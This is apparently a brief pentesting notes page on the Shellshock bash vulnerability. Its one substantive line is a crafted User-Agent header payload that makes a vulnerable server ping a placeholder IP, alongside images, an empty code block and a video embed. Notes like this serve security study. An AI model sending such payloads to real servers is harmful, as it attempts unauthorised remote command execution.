# Shellshock

![](https://3742616747-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxrKbFYqkJZVdtkprlicx%2Fuploads%2Fijbxu29ALOIttiNiwNb2%2FShellshock_bash.svg.png?alt=media\&token=073445a8-5b0b-47c3-b6d4-da1b16d2a90a)

```
User-Agent: () {:;}; ping -c 5 -p rfs_string <IP>
```

```
// Some code
```

![](https://3742616747-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxrKbFYqkJZVdtkprlicx%2Fuploads%2F1EWZcjFxSaGko9jcN55C%2Fshellshock_2.jpg?alt=media\&token=9642a9e0-f6ca-4fde-afef-61baad31fbb4)

{% embed url="<https://www.youtube.com/watch?v=MyldPMn95kk>" %}